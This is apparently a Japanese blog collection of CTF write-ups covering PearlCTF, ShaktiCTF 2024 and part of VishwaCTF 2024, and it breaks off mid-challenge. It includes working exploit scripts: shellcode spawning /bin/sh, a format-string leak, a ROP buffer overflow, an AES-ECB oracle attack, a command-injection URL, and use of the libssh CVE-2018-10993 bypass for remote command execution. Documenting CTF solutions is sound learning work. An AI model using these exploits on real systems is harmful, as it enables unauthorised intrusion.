bbUbmwzdnlfHaJFmoQH+YEr39/kP/1FPlhdE3pFmw+UpiOlXBKYarsz0ajS1c48w

Enter plaintext: aa
6P9PUomGlQnjgYzzd5SlEMXQUcazc10V5NWiRoi/vVeMVNaDzulNDQkLp3eWqaXF

Enter plaintext: aaa
8ERCLdnYRHZLAqRc9xPWCDkuKmZyzdcX1vGSZriMF43DE1lxA/5q6iT0lyoglr3e

Enter plaintext: aaaa
U647U9Ym4KTGMPc6YXDFCcdtc7PO8pOICYNEx8TaomQHkdR950+sKFoUrLJNiomU

Enter plaintext: aaaaa
yFUb7bkWXF3m0NEhCTj8csRJjdytUuwqsC3xI7aais2uNM7sWcnb2x0+QBxp+e46

Enter plaintext: aaaaaa
p4Jg8l1ke1FGiVJHtSmHfKR2RWKDzd4mYA9kevVpin5rCSVq+2Mw42AUnONqhzYB

Enter plaintext: aaaaaaa
+tBLra1ihl1VNrdxhZ6JuGa518DeW+5lfsgAya+t3bUw2LGQTPzAl7UdR1Ou3vF3

Enter plaintext: aaaaaaaa
hx8gyerKjBifhdwbye7a6jqmlesAXeXrll7AhGL42Y+VTM2bBwYM/8pQ+Nt9zrl5

Enter plaintext: aaaaaaaaa
2K1s69xF2nT758Ybb0NJ3GlOe9GH5ZCUTDjpb79xRygEG1gbnANZs2/tx4TAQiyy

Enter plaintext: aaaaaaaaaa
+Y/R7MlmKX/QmiBw8IgojjEjG0o5y73kI5mBA4ovKBRDYHnEEcqaQ/SVHIppmDFZ

Enter plaintext: aaaaaaaaaaa
j0yD6oWIzF31ZitRad0+fAUD/C7PAxzRFNFQOfXbrDV7K6mwLMTfj1sWAuAqCXWm

Enter plaintext: aaaaaaaaaaaa
05d8wscinze4CF9/VFDSBx6YpDIqkXPl2DGu2y7v73eab//y41PVnv+T/DHg8HT+

Enter plaintext: aaaaaaaaaaaaa
EDg8B9aMsB133AlPp//Hr6O6qO2SdwfCULpbIPIYctHyggcR6oKI1iBGNPBxRHAr

Enter plaintext: aaaaaaaaaaaaaa
S0zoMgUA1j6uA50qbNUnV8IrnKp13L543qTiWbPG526gdkuADjFykjxXtqU8MMqi

Enter plaintext: aaaaaaaaaaaaaaa
2MuxuSRrdbWU/+zuxp0zKicq7QBvcqi/iG5iuT15ur8J3Ze/oJKiwhQtHtwZX9cz

Enter plaintext: aaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc7l5hqdodjwWDK6SukcxSU5dwPAy5DPzJHqruBG/SvTi

Enter plaintext: aaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drcy7m1KXkejN5nSH4CHu2ivS/3xC8Ey6cWf50AbW/URurnrM5ONsJiSVErKhfCL39tQ==

以下のような平文の暗号化イメージになり、フラグの長さは32バイトであることがわかる。

0123456789abcdef
aaaaaaaaaaaaaaaa
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
0123456789abcdef
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaX
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFF.

このような形で第2ブロックと第4ブロックを比較していき、同じ暗号になる文字を探す。

#!/usr/bin/env python3
import socket
from base64 import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('dyn.ctf.pearlctf.in', 30015))

flag = ''
for i in range(32):
    for code in range(32, 127):
        pt = 'a' * (31 - i) + flag + chr(code) + 'a' * (31 - i)
        data = recvuntil(s, b': ')
        print(data + pt)
        s.sendall(pt.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        ct = b64decode(data)
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        if ct[16:32] == ct[48:64]:
            flag += chr(code)
            break

print(flag)

実行結果は以下の通り。

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc7L2wHkPmsJYgPtMTF6gYwTRDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc523AG6GCjSIiJNMqCCd5p7RDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc5eOdAqaVjbJM1lw5S6pnDzRDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc58CopH3CKhXjPK4UedJP5DRDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc2LT+k3qtobqCrHbo3/3Q2PRDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

                :
                :

Enter plaintext: pearl{n0t_sn34ky_A3S_3ncrypt10n{
/XXtfavLXsb1cNtDhA0vmUaHRhbeQWRNbnJWmBJ1Xtj9de19q8texvVw20OEDS+ZwYQoGNKghxZkW89oPEiOJg==

Enter plaintext: pearl{n0t_sn34ky_A3S_3ncrypt10n|
/XXtfavLXsb1cNtDhA0vmeiooNDVB0GMDTZ/YY2fjeL9de19q8texvVw20OEDS+ZwYQoGNKghxZkW89oPEiOJg==

Enter plaintext: pearl{n0t_sn34ky_A3S_3ncrypt10n}
/XXtfavLXsb1cNtDhA0vmcGEKBjSoIcWZFvPaDxIjib9de19q8texvVw20OEDS+ZwYQoGNKghxZkW89oPEiOJg==

pearl{n0t_sn34ky_A3S_3ncrypt10n}
pearl{n0t_sn34ky_A3S_3ncrypt10n}

Shakti CTF 2024 Writeup

この大会は2024/3/8 21:30(JST)~2024/3/9 21:30(JST)に開催されました。
今回もチームで参戦。結果は1900点で496チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to ShaktiCTF'24 (Miscellaneous, Begginer)

Discordに入り、#announcementsチャネルにshaktiのロゴがあり、クリックすると、詳細情報が表示される。全部は見えないので、カーソルを当てると、フラグが表示された。

shaktictf{HAppy_W0M3n5_DAy}

Ocean_Enigma (OSINT, Begginer)

画像検索すると、以下のページなどが見つかる。

https://www.history.com/news/what-happened-to-the-mary-celeste
https://en.wikipedia.org/wiki/Mary_Celeste

以前に船長と一緒に航海したことのある乗組員はAlbert G. Richardson。
船長の親友の名前はDavid Morehouse。
船長が航海日誌に目撃を記録した島はSanta Maria Island。
元の船の名前はAmazon

shaktictf{Albert_G_Richardson:David_Morehouse:Santa_Maria:Amazon}

blank_shell (Pwn, Begginer)

$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=772606a0af6a28364ae0d08ab565b523f9e01153, for GNU/Linux 3.2.0, not stripped

シェルコードを適当に見つけてきて、送り込む。

#!/usr/bin/env python3
from pwn import *

p = remote('65.0.128.220', 30799)

payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 65.0.128.220 on port 30799: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
ynetd
$ cat flag.txt
shaktictf{sh3llc0d1ng_15_4_p13c3_0f_c4k3_9270138712038}
shaktictf{sh3llc0d1ng_15_4_p13c3_0f_c4k3_9270138712038}

Looking_Mirror (Pwn, Begginer)

Ghidraでデコンパイルする。

void main(void)

{
  __gid_t __rgid;
  FILE *__stream;
  long in_FS_OFFSET;
  char local_98 [64];
  char local_58 [72];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("Ask the looking mirror for the secret to a masterful conquest!");
  puts("==============================================");
  puts("Hi, you are face to face with the immortal mirror now!");
  puts("Delve into its eternal wisdom and get the much gaurded secret.");
  puts(
      "Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will  echo your queries back to you."
      );
  puts("\n");
  __stream = fopen("secret.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Warning: secret.txt not found! The secret is not available for you.");
  }
  else {
    fgets(local_58,0x40,__stream);
    fclose(__stream);
  }
  do {
    printf("\n> ");
    fgets(local_98,0x40,stdin);
    printf("Looking Mirror: ");
    printf(local_98);
  } while( true );
}

FSBでスタック上にあるフラグをリークする。20番目のインデックスからフラグがあるので、順番に取り出していく。

#!/usr/bin/env python3
from pwn import *

p = remote('65.0.128.220', 31878)

flag = ''
index = 20
while True:
    payload = '%' + str(index) + '$p'
    data = p.recvuntil(b'> ').decode()
    print(data + payload)
    p.sendline(payload.encode())
    data = p.recvline().decode()
    print(data)
    flag += int(data.split(' ')[-1], 16).to_bytes(8, 'little').decode()

    if '}' in flag:
        flag = flag.rstrip('\x00')
        break

    index += 1

print(flag)

実行結果は以下の通り。

[+] Opening connection to 65.0.128.220 on port 31878: Done
Ask the looking mirror for the secret to a masterful conquest!
==============================================
Hi, you are face to face with the immortal mirror now!
Delve into its eternal wisdom and get the much gaurded secret.
Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will echo your queries back to you.



> %20$p
Looking Mirror: 0x746369746b616873


> %21$p
Looking Mirror: 0x3472676e30637b66


> %22$p
Looking Mirror: 0x5f796234625f3574


> %23$p
Looking Mirror: 0x333737346d723066


> %24$p
Looking Mirror: 0xa7d72

shaktictf{c0ngr4t5_b4by_f0rm4773r}

[*] Closed connection to 65.0.128.220 port 31878
shaktictf{c0ngr4t5_b4by_f0rm4773r}

Binary_Heist (Pwn, Easy)

$ checksec --file binary_heist 
[*] '/media/sf_Shared/binary_heist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ghidraでデコンパイルする。

undefined8 main(EVP_PKEY_CTX *param_1)

{
  init(param_1);
  puts("Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault.");
  vault();
  puts("Agency: ABORT! Operation Binary Heist - Mission failed.");
  return 0;
}

void vault(void)

{
  puts("System: Enter your name for log: ");
  input();
  return;
}

void input(void)

{
  undefined local_18 [16];
  
  __isoc99_scanf(&DAT_00402008,local_18);
  puts("System: Log entry successful! You will be granted access on entering the correct passcodes."
      );
  return;
}

void infiltrate(long param_1,long param_2)

{
  undefined8 local_16;
  undefined4 local_e;
  undefined2 local_a;
  
  local_16 = 0x6c75617620746163;
  local_e = 0x78742e74;
  local_a = 0x74;
  if ((param_1 == 0x1337c0d31337c0d3) && (param_2 == -0x53123f2153123f22)) {
    puts("System: Operation Binary Heist - Top-Secret Flag:");
    system((char *)&local_16);
  }
  else {
    puts("WARNING: Intruder!!!. Authorities have been warned.");
  }
  return;
}

BOFでinfiltrate関数をコールする。その際引数の条件があるので、ROPで正しく指定するようにする。

$ ROPgadget --binary binary_heist --re "pop rdi"
Gadgets information
============================================================
0x0000000000401207 : pop rdi ; pop rsi ; ret

Unique gadgets found: 1
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('65.0.128.220', 31672)
else:
    p = process('./binary_heist')

elf = ELF('./binary_heist')

pop_rdi_rsi = 0x401207
infiltrate_addr = elf.symbols['infiltrate']

payload = b'A' * 24
payload += p64(pop_rdi_rsi)
payload += p64(0x1337c0d31337c0d3)
payload += p64(0xacedc0deacedc0de)
payload += p64(infiltrate_addr)

data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to 65.0.128.220 on port 31672: Done
[*] '/media/sf_Shared/binary_heist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault.
System: Enter your name for log:
b'AAAAAAAAAAAAAAAAAAAAAAAA\x07\x12@\x00\x00\x00\x00\x00\xd3\xc07\x13\xd3\xc07\x13\xde\xc0\xed\xac\xde\xc0\xed\xacC\x12@\x00\x00\x00\x00\x00'
System: Log entry successful! You will be granted access on entering the correct passcodes.
System: Operation Binary Heist - Top-Secret Flag:
shaktictf{C0ngr4t5!_n0w_s1ng_0_b3ll4_c140}
[*] Closed connection to 65.0.128.220 port 31672
shaktictf{C0ngr4t5!_n0w_s1ng_0_b3ll4_c140}

Warmup_rev (Reverse Engineering, Beginner)

Ghidraでデコンパイルする。

undefined8 main(undefined8 param_1,undefined8 param_2)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char acStack_e8 [104];
  undefined8 uStack_80;
  undefined4 local_6c;
  undefined8 local_68;
  char *local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined6 local_40;
  undefined2 uStack_3a;
  undefined6 uStack_38;
  undefined8 local_32;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_6c = 100;
  local_68 = 99;
  local_60 = acStack_e8;
  printf("Enter the flag: ",param_2,3);
  fgets(local_60,100,stdin);
  sVar2 = strcspn(local_60,"\n");
  local_60[sVar2] = '\0';
  reverseString(local_60);
  local_58 = 0x316e64333364217d;
  local_50 = 0x346c6c336e67335f;
  local_48 = 0x34726d55705f6368;
  local_40 = 0x31355f345f77;
  uStack_3a = 0x735f;
  uStack_38 = 0x74667b746831;
  local_32 = 0x7368616b746963;
  iVar1 = strcmp(local_60,(char *)&local_58);
  if (iVar1 == 0) {
    puts("\nYou got it!!");
  }
  else {
    puts("Oops, that\'s not the correct flag");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    uStack_80 = 0x10137e;
    __stack_chk_fail();
  }
  return 0;
}

void reverseString(char *param_1)

{
  char cVar1;
  size_t sVar2;
  int local_14;
  int local_10;
  
  sVar2 = strlen(param_1);
  local_10 = (int)sVar2;
  for (local_14 = 0; local_10 = local_10 + -1, local_14 < local_10; local_14 = local_14 + 1) {
    cVar1 = param_1[local_14];
    param_1[local_14] = param_1[local_10];
    param_1[local_10] = cVar1;
  }
  return;
}

入力文字列を逆順にして比較しているので、元に戻す。

>>> (0x316e64333364217d).to_bytes(8, 'little')[::-1]
b'1nd33d!}'
>>> (0x346c6c336e67335f).to_bytes(8, 'little')[::-1]
b'4ll3ng3_'
>>> (0x34726d55705f6368).to_bytes(8, 'little')[::-1]
b'4rmUp_ch'
>>> (0x31355f345f77).to_bytes(6, 'little')[::-1]
b'15_4_w'
>>> (0x735f).to_bytes(2, 'little')[::-1]
b's_'
>>> (0x74667b746831).to_bytes(6, 'little')[::-1]
b'tf{th1'
>>> (0x7368616b746963).to_bytes(7, 'little')[::-1]
b'shaktic'
shaktictf{th1s_15_4_w4rmUp_ch4ll3ng3_1nd33d!}

Cyber_Kingdom (Reverse Engineering, Easy)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  long in_FS_OFFSET;
  int local_16c;
  int local_168;
  int local_164;
  int local_160;
  uint auStack_158 [36];
  int local_c8 [36];
  byte local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  srand(0x7b);
  for (local_16c = 0; local_16c < 0x23; local_16c = local_16c + 1) {
    uVar1 = rand();
    auStack_158[local_16c] = uVar1 & 0xf;
  }
  puts("\n\t||| Welcome to my Cyber Kingdom |||");
  puts("||| I have a quick task for you if you don\'t mind |||");
  puts("|| Find the correct flag for me and prove yourself! ||\n");
  printf("Please enter the flag: ");
  fgets((char *)local_38,0x24,stdin);
  for (local_168 = 0; local_168 < 0x23; local_168 = local_168 + 1) {
    local_38[local_168] = local_38[local_168] ^ (byte)auStack_158[local_168];
  }
  local_c8[0] = 0x72;
  local_c8[1] = 0x6d;
  local_c8[2] = 0x60;
  local_c8[3] = 0x65;
  local_c8[4] = 0x73;
  local_c8[5] = 0x62;
  local_c8[6] = 0x68;
  local_c8[7] = 0x7a;
  local_c8[8] = 0x6c;
  local_c8[9] = 0x7a;
  local_c8[10] = 0x77;
  local_c8[11] = 100;
  local_c8[12] = 0x31;
  local_c8[13] = 0x54;
  local_c8[14] = 0x77;
  local_c8[15] = 0x31;
  local_c8[16] = 0x6c;
  local_c8[17] = 99;
  local_c8[18] = 0x59;
  local_c8[19] = 0x67;
  local_c8[20] = 0x62;
  local_c8[21] = 0x31;
  local_c8[22] = 0x6c;
  local_c8[23] = 0x58;
  local_c8[24] = 0x31;
  local_c8[25] = 0x7d;
  local_c8[26] = 0x53;
  local_c8[27] = 0x7e;
  local_c8[28] = 0x3b;
  local_c8[29] = 0x62;
  local_c8[30] = 0x69;
  local_c8[31] = 0x30;
  local_c8[32] = 0x6c;
  local_c8[33] = 0x31;
  local_c8[34] = 0x72;
  local_164 = 0;
  for (local_160 = 0; local_160 < 0x23; local_160 = local_160 + 1) {
    if (local_c8[local_160] == (int)(char)local_38[local_160]) {
      local_164 = local_164 + 1;
    }
  }
  if (local_164 == 0x23) {
    puts("\nYou got it!!");
  }
  else {
    puts("\nNope, that\'s not the right path");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

auStack_158とXORしてlocal_c8と同じになるものを入力する必要がある。乱数が使われているが、srandで決まった値が指定されているので、算出することができる。これを元に復号する。

#include <stdio.h>
#include <stdlib.h>

void main() {
    unsigned int rnd;
    char auStack[36];
    char flag[36] = {0};
    char key[36] = {0x72, 0x6d, 0x60, 0x65, 0x73, 0x62, 0x68, 0x7a, 0x6c, 0x7a,
        0x77, 100, 0x31, 0x54, 0x77, 0x31, 0x6c, 99, 0x59, 0x67, 0x62, 0x31,
        0x6c, 0x58, 0x31, 0x7d, 0x53, 0x7e, 0x3b, 0x62, 0x69, 0x30, 0x6c, 0x31,
        0x72};

    srand(0x7b);
    for (int i = 0; i < 0x23; i++) {
        rnd = rand();
        auStack[i] = rnd & 0xf;
    }

    for (int i = 0; i < 0x23; i++) {
        flag[i] = auStack[i] ^ key[i];
    }
    printf("%s\n", flag);
}
shaktictf{wh0_s4id_fl4g_1s_r4nd0m?}

Operation Ultra (Reverse Engineering, Easy)

スクリプトの処理の概要は以下の通り。

・unk_str = "U2hhZG93MjAyNA=="
・unk_str: unk_strをbase64デコードしたもの
・unk_str0: 入力文字列
・unk_str1 = func_1(unk_str0, unk_str)
 unk_str0とunk_str(繰り返し)とのXOR
・unk_str2 = func_2(unk_str1)
 4バイトごとに前半を結合したものと4バイトごとに後半を結合したものとの結合
・unk_str2とunk_arr0が一致していれば、正しいフラグ

逆算してフラグを求める。

#!/usr/bin/env python3
import base64

unk_arr0 = [32, 0, 27, 30, 84, 79, 86, 22, 97, 100, 63, 95, 60, 34, 1, 71, 0,
    15, 81, 68, 6, 4, 91, 40, 87, 0, 9, 59, 81, 83, 102, 21]

l = len(unk_arr0) // 2

unk_str1 = []
for i in range(0, l, 2):
    unk_str1.append(unk_arr0[i])
    unk_str1.append(unk_arr0[i + 1])
    unk_str1.append(unk_arr0[l + i])
    unk_str1.append(unk_arr0[l + i + 1])

unk_str = 'U2hhZG93MjAyNA=='
unk_str = base64.b64decode(unk_str.encode('ascii'))

flag = ''
for i in range(len(unk_str1)):
    flag += chr(unk_str1[i] ^ unk_str[i % len(unk_str)])
print(flag)
shaktictf{Ul7r4_STe4l7h_SUcc3s5}

Delicious (Web Exploitation, Beginner)

クッキーのcookieに以下が設定されている。

eyJhZG1pbiI6MH0%3D
$ echo eyJhZG1pbiI6MH0= | base64 -d                          
{"admin":0}

"admin"を1にする。

$ echo -n '{"admin":1}' | base64
eyJhZG1pbiI6MX0=

クッキーのcookieに以下を設定する。

eyJhZG1pbiI6MX0%3D

ページをリロードすると、フラグが表示された。

Okay here you go: shaktictf{heyo_beginnerr_you_got_the_flag}
shaktictf{heyo_beginnerr_you_got_the_flag}

Find the flag(Web Exploitation, Easy)

OSコマンドインジェクションができる。
https://ch25757158640.ch.eng.run/?test=a;lsにアクセスすると以下が表示された。

Dockerfile
__pycache__
flag.txt
main.py
templates

https://ch25757158640.ch.eng.run/?test=a;cat%20flag.txtにアクセスすると、フラグが表示された。

shaktictf{finally_you found_the_flag_hehehheh!}

Flag Expedition (Cryptography, Begginer)

国際信号旗になっているので、デコードする。

WASITTOOEASYTOFIND
shaktictf{was_it_too_easy_to_find}

eH lvl1 (Cryptography, Easy)

RSA暗号だが、eがわからない。hintと1バイトのXOR鍵でhの値が出力されている。CyberChefで以下のhの値を「From Hex」「XOR Brute Force」で復号してみる。

6f535e1b5e1b061b0c020f0b0b10134f535e1b4852555c575e1b59424f5e1b4f535a4f1b4c5a481b4354495e5f121b0112

復号結果は以下の通り。

Key = 3b: The e = 79400+(the single byte that was xored) :)

これでeは79400+0x3bであることがわかる。p, q, cがわかっているので、通常通り復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

ct = int(params[1].split(' ')[-1])
p = int(params[2].split(' ')[-1])
q = int(params[3].split(' ')[-1])

e = 79400 + 0x3b

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
msg = long_to_bytes(m).decode()
print(msg)

復号結果は以下の通り。

Here is your reward 'vvrkxuqgi{r0i43m0r_f0_hu3_u3gtu3!!!}' You can ask 'Doraemon' to help you with this. Bye!!

Vigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで、鍵を'Doraemon'にして復号する。

shaktictf{d0r43m0n_t0_th3_r3scu3!!!}

eH lvl2 (Cryptography, Easy)

RSA暗号だが、eがわからない。hintの各文字とnでXORした値が出力されている。復号すると、以下の文字列になる。

The e = 46307 :)

これでeは46307であることがわかる。p, q, cがわかっているので、通常通り復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

h = eval(params[0].split(' = ')[-1])
ct = int(params[1].split(' ')[-1])
p = int(params[2].split(' ')[-1])
q = int(params[3].split(' ')[-1])

n = p * q

hint = ''.join([chr(i ^ n) for i in h])
print('[+] hint:', hint)

e = 46307

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
flag = long_to_bytes(m).decode()
print('[*] flag:', flag)

復号結果は以下の通り。

[+] hint: The e = 46307 :)
[*] flag: Hope you had fun solving this challenge shaktictf{RSA_1s_fun_t0_d0_ri8?}
shaktictf{RSA_1s_fun_t0_d0_ri8?}

Participant Survey (Miscellaneous, Beginner)

アンケートに答えたら、フラグが表示された。

shaktictf{th4nk_y0u_f0r_submi77ing_surv3y}

Feedback (Miscellaneous, Begginer)

アンケートに答えたら、フラグが表示された。

shaktictf{7h4nk_y0u_f0r_p4rticip4ting_shaktiCTF_2024}

VishwaCTF 2024 Writeup

この大会は2024/3/1 19:30(JST)~2024/3/3 19:30(JST)に開催されました。
今回もチームで参戦。結果は3557点で1038チーム中98位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to VishwaCTF'24 (Miscellaneous, Beginner)

問題にフラグが書いてあった。

VishwaCTF{arambhah sarvasya dharmasya}

Who am I? (Miscellaneous, Easy)

問題作成者の情報を見るために「@Aditya Gaikwad」のメッセージから見てみる。自己紹介にフラグが書いてあった。

VishwaCTF{1_4m_n0t_4n0nym0u5_4nym0r3}

Sandese Aate hai (Reverse Engineering, Medium)

$ ./Program
Original matrix:
V       i       s       h       w       a
d       2       3       y       3       C
n       2       k       0       v       T
4       4       }       v       1       F
_       m       _       h       c       {
y       3       2       d       n       4
Encrypted:
V       h       q       h       w       a
d       2       3       y       3       C
l       2       o       0       p       S
4       4       }       v       1       N
[       m       Y       h       k       {
y       3       2       d       g       4
Encrypted:
86      104     113     104     119     97
100     50      51      121     51      67
108     50      111     48      112     83
52      52      125     118     49      78
91      109     89      104     107     123
121     51      50      100     103     52

回転するようにフラグが出力される。

VishwaCTF{4nd23y_4nd23y3v1ch_m42k0v}

Save The City (Web, Easy)

$ nc 13.234.11.113 32471 -v
ec2-13-234-11-113.ap-south-1.compute.amazonaws.com [13.234.11.113] 32471 (?) open
SSH-2.0-libssh_0.8.1

Bye Bye

$ nmap -sC -sV -Pn -p 32471 13.234.11.113
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-01 23:27 JST
Nmap scan report for ec2-13-234-11-113.ap-south-1.compute.amazonaws.com (13.234.11.113)
Host is up (0.14s latency).

PORT      STATE SERVICE VERSION
32471/tcp open  ssh     libssh 0.8.1 (protocol 2.0)
| ssh-hostkey: 
|_  2048 34f332c6e850236a6723bd58a388e3a6 (RSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.09 seconds

libssh 0.8.1のexploitを調べると、以下のPoCが見つかる。

https://gist.github.com/mgeeky/a7271536b1d815acfb8060fd8b65bd5d

これを利用してRCEを実行する。

$ python3 cve-2018-10993.py -p 32471 -c ls 13.234.11.113

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
bin
boot
dev
etc
home
lib
lib64
location.txt
media
mnt
opt
proc
root
run
sbin
srv
ssh_server_fork.patch
sys
tmp
usr
var

$ python3 cve-2018-10993.py -p 32471 -c "cat location.txt" 13.234.11.113

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
elrow-club-pune
VishwaCTF{elrow-club-pune}

Trip To Us (Web, Easy)

$ gobuster dir -u https://ch661012148630.ch.eng.run/ -w /usr/share/wordlists/dirb/common.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://ch661012148630.ch.eng.run/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 290]
/.htaccess            (Status: 403) [Size: 290]
/.hta                 (Status: 403) [Size: 290]
/backups              (Status: 301) [Size: 340] [--> http://ch661012148630.ch.eng.run/backups/]
/db                   (Status: 301) [Size: 335] [--> http://ch661012148630.ch.eng.run/db/]
/Images               (Status: 301) [Size: 339] [--> http://ch661012148630.ch.eng.run/Images/]
/server-status        (Status: 403) [Size: 290]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

https://ch661012148630.ch.eng.run/db/sqlファイルが2つあるので、ダウンロードする。users.sqlには以下が書いてある。

INSERT INTO `users` (`id`, `user_name`, `password`, `name`) VALUES
(1, 'admin', 'unbre@k@BLE_24', 'admin');

Click Hereをクリックすると、https://ch661012148630.ch.eng.run/Error.phpに遷移し、以下のメッセージが表示された。

YOU ARE NOT AN IITAIN , GO BACK!!!!!!!

HTMLソースを見ると、以下のように書いてある。

<img src="./Images/GoBack.webp" alt="Change User agent to 'IITIAN'">

BurpでInterceptし、User-Agentを"IITIAN"にしてアクセスしてみる。

https://ch661012148630.ch.eng.run/auth-iit-user.phpに遷移し、ログイン画面が表示された。先ほどのadminユーザの情報でログインしてみると、フラグが表示された。

VishwaCTF{y0u_g0t_th3_7r1p_t0_u5}

They Are Coming (Web, Easy)

https://ch471012155763.ch.eng.run/robots.txtにアクセスすると、以下のように書いてある。

# https://www.robotstxt.org/robotstxt.html
User-agent: *
Disallow: /admin
L3NlY3JldC1sb2NhdGlvbg==
Decryption key: th1s_1s_n0t_t5e_f1a9

https://ch471012155763.ch.eng.run/adminにアクセスすると、以下のように表示される。

Unexpected Application Error!
404 Not Found
$ echo L3NlY3JldC1sb2NhdGlvbg== | base64 -d    
/secret-location

https://ch471012155763.ch.eng.run/secret-locationにアクセスすると、以下のように表示される。

A Courrpt AI Agent and Its Army of 128 Aesthetic Looking Robots Are Heading Towards Local Vault of the City of Dawn!

読み込んでいる/static/js/main.25b1321e.jsに関係ありそうなコードがある。

          , yt = ()=>{
            localStorage.setItem("userRole", "admin"),
            localStorage.setItem("F1ag", "Open Your Eyes!"),
            localStorage.setItem("lastLogin", "2023-01-01T12:00:00Z"),
